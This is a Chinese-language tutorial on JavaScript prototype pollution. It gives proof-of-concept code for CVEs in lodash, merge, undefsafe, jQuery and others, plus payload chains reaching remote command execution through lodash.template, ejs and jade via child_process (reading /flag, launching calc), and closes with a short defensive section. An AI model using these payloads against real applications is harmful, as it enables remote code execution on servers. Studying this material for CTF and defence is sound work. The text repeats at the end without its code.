prototype pollution attack
字数 1613 2025-08-07 00:35:01

JavaScript 原型链污染攻击详解

0x00 基本概念

JavaScript 原型与原型链

  • JavaScript 是万物皆对象的语言
  • 函数创建时会自动添加 prototype 属性,其值是一个具有 constructor 属性的对象
  • 使用 new 关键字实例化时,实例会继承构造函数的 prototype 属性和方法
  • 实例通过 __proto__ 指向构造函数的 prototype 实现继承

原型链污染原理

通过 __proto__ 向上追溯到最初的 Object,控制其属性来实现对所有继承自它的函数及实例的污染。典型攻击方式:

  1. 污染空属性,通过赋值实现任意命令执行
  2. 修改关键属性(如将 admin 改为 1

示例 payload:

{
  "lua": "123",
  "__proto__": {
    "outputFunctionName": "t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"
  },
  "Submit": ""
}

0x01 原型链污染攻击(第一步)

核心思想

寻找能够操纵键值的位置,利用 __proto__ 进行向上污染。

常见漏洞模式

1. Merge 类操作

危险代码示例:

const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a;
}

const clone = (a) => {
  return merge({}, a);
}

2. CVE-2020-28499 (merge.recursiveMerge)

影响版本:merge < 2.1.1

测试代码:

const merge = require('merge');
const payload2 = JSON.parse('{"x": {"__proto__":{"polluted":"yes"}}}');
let obj1 = {x: {y: 1}};
console.log("Before: " + obj1.polluted);
merge.recursive(obj1, payload2);
console.log("After: " + obj1.polluted);
console.log("After: " + {}.polluted);

3. Undefsafe 模块 (CVE-2019-10795)

影响版本:undefsafe < 2.0.3

漏洞利用:

var a = require("undefsafe");
var object = {a: {b: {c: 1, d: [1,2,3], e: 'skysec'}}};
var payload = "__proto__.toString";
a(object,payload,"evilstring");
console.log(object.toString);

4. Lodash 模块漏洞

CVE-2019-10744 (defaultsDeep)

影响版本:lodash < 4.17.12

POC:

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}';

function check() {
  mergeFn({}, JSON.parse(payload));
  if (({})[`a0`] === true) {
    console.log(`Vulnerable to Prototype Pollution via ${payload}`);
  }
}
check();
CVE-2018-3721 (merge)

POC:

var lodash= require('lodash');
var payload = '{"__proto__":{"polluted":"yes"}}';
var a = {};
console.log("Before polluted: " + a.polluted);
lodash.merge({}, JSON.parse(payload));
console.log("After polluted: " + a.polluted);
CVE-2018-16487 (mergeWith)

POC:

var lodash= require('lodash');
var payload = '{"__proto__":{"polluted":"yes"}}';
var a = {};
console.log("Before polluted: " + a.polluted);
lodash.mergeWith({}, JSON.parse(payload));
console.log("After polluted: " + a.polluted);
set/setWith 方法 (CWE-400)

POC:

lod = require('lodash')
lod.setWith({}, "__proto__[test]", "123")
lod.set({}, "__proto__[test2]", "456")
console.log(Object.prototype)
CVE-2020-8203 (zipObjectDeep)

影响版本:lodash < 4.17.20

POC:

const _ = require('lodash');
_.zipObjectDeep(['__proto__.z'],[123])
console.log(z) // 123

5. 其他模块漏洞

safe-obj (CVE-2021-25928)

POC:

var safeObj = require("safe-obj");
var obj = {};
console.log("Before: " + {}.polluted);
safeObj.expand(obj, '__proto__.polluted', 'Yes! Its Polluted');
console.log("After: " + {}.polluted);
safe-flat (CVE-2021-25927)

POC:

var safeFlat = require("safe-flat");
console.log("Before: " + {}.polluted);
safeFlat.unflatten({"__proto__.polluted": "Yes! Its Polluted"}, '.');
console.log("After: " + {}.polluted);
jQuery (CVE-2019-11358)

POC:

var jquery = document.createElement('script');
jquery.src = 'https://code.jquery.com/jquery-3.3.1.min.js';
let exp = $.extend(true, {}, JSON.parse('{"__proto__": {"exploit": "sp4c1ous"}}'));
console.log({}.exploit);
console.table (CVE-2022-21824)

影响版本:Node.js < 12.22.9, < 14.18.3, < 16.13.2, < 17.3.1

POC:

console.table([{a: 1}], ['__proto__'])
console.table([{x: 1}], ["__proto__"]);

0x02 原型链污染到RCE(第二步)

1. 配合 lodash.template 实现 RCE

利用 sourceURL 属性污染:

\u000areturn e => { return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString() //"}

2. 配合 ejs 模板引擎实现 RCE (CVE-2022-29078)

示例代码:

var express = require('express');
var lodash = require('lodash');
var ejs = require('ejs');
var app = express();

app.set('views', __dirname);
app.set('views engine', 'ejs');

var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
lodash.merge({}, JSON.parse(malicious_payload));

app.get('/', function(req, res) {
  res.render("index.ejs",{message: 'sp4c1ous'});
});

var server = app.listen(8000, function() {
  var host = server.address().address
  var port = server.address().port
  console.log("应用实例,访问地址为 http://%s:%s", host, port)
});

3. 配合 jade 模板引擎实现 RCE

POC:

{
  "__proto__": {
    "compileDebug": 1,
    "self": 1,
    "line": "console.log(global.process.mainModule.require('child_process').execSync('calc'))"
  }
}

0x03 防御措施

  1. 避免使用不安全的 merge/clone 操作
  2. 使用 Object.create(null) 创建无原型的对象
  3. 冻结 Object.prototype (Object.freeze(Object.prototype))
  4. 使用 hasOwnProperty 检查属性是否存在
  5. 及时更新易受攻击的库版本

0x04 参考资源

  1. https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs
  2. https://snyk.io/blog/after-three-years-of-silence-a-new-jquery-prototype-pollution-vulnerability-emerges-once-again/
  3. https://threezh1.com/2020/01/30/NodeJsVulns/
  4. https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
JavaScript 原型链污染攻击详解 0x00 基本概念 JavaScript 原型与原型链 JavaScript 是万物皆对象的语言 函数创建时会自动添加 prototype 属性,其值是一个具有 constructor 属性的对象 使用 new 关键字实例化时,实例会继承构造函数的 prototype 属性和方法 实例通过 __proto__ 指向构造函数的 prototype 实现继承 原型链污染原理 通过 __proto__ 向上追溯到最初的 Object ,控制其属性来实现对所有继承自它的函数及实例的污染。典型攻击方式: 污染空属性,通过赋值实现任意命令执行 修改关键属性(如将 admin 改为 1 ) 示例 payload: 0x01 原型链污染攻击(第一步) 核心思想 寻找能够操纵键值的位置,利用 __proto__ 进行向上污染。 常见漏洞模式 1. Merge 类操作 危险代码示例: 2. CVE-2020-28499 (merge.recursiveMerge) 影响版本:merge < 2.1.1 测试代码: 3. Undefsafe 模块 (CVE-2019-10795) 影响版本:undefsafe < 2.0.3 漏洞利用: 4. Lodash 模块漏洞 CVE-2019-10744 (defaultsDeep) 影响版本:lodash < 4.17.12 POC: CVE-2018-3721 (merge) POC: CVE-2018-16487 (mergeWith) POC: set/setWith 方法 (CWE-400) POC: CVE-2020-8203 (zipObjectDeep) 影响版本:lodash < 4.17.20 POC: 5. 其他模块漏洞 safe-obj (CVE-2021-25928) POC: safe-flat (CVE-2021-25927) POC: jQuery (CVE-2019-11358) POC: console.table (CVE-2022-21824) 影响版本:Node.js < 12.22.9, < 14.18.3, < 16.13.2, < 17.3.1 POC: 0x02 原型链污染到RCE(第二步) 1. 配合 lodash.template 实现 RCE 利用 sourceURL 属性污染: 2. 配合 ejs 模板引擎实现 RCE (CVE-2022-29078) 示例代码: 3. 配合 jade 模板引擎实现 RCE POC: 0x03 防御措施 避免使用不安全的 merge/clone 操作 使用 Object.create(null) 创建无原型的对象 冻结 Object.prototype (Object.freeze(Object.prototype)) 使用 hasOwnProperty 检查属性是否存在 及时更新易受攻击的库版本 0x04 参考资源 https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs https://snyk.io/blog/after-three-years-of-silence-a-new-jquery-prototype-pollution-vulnerability-emerges-once-again/ https://threezh1.com/2020/01/30/NodeJsVulns/ https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html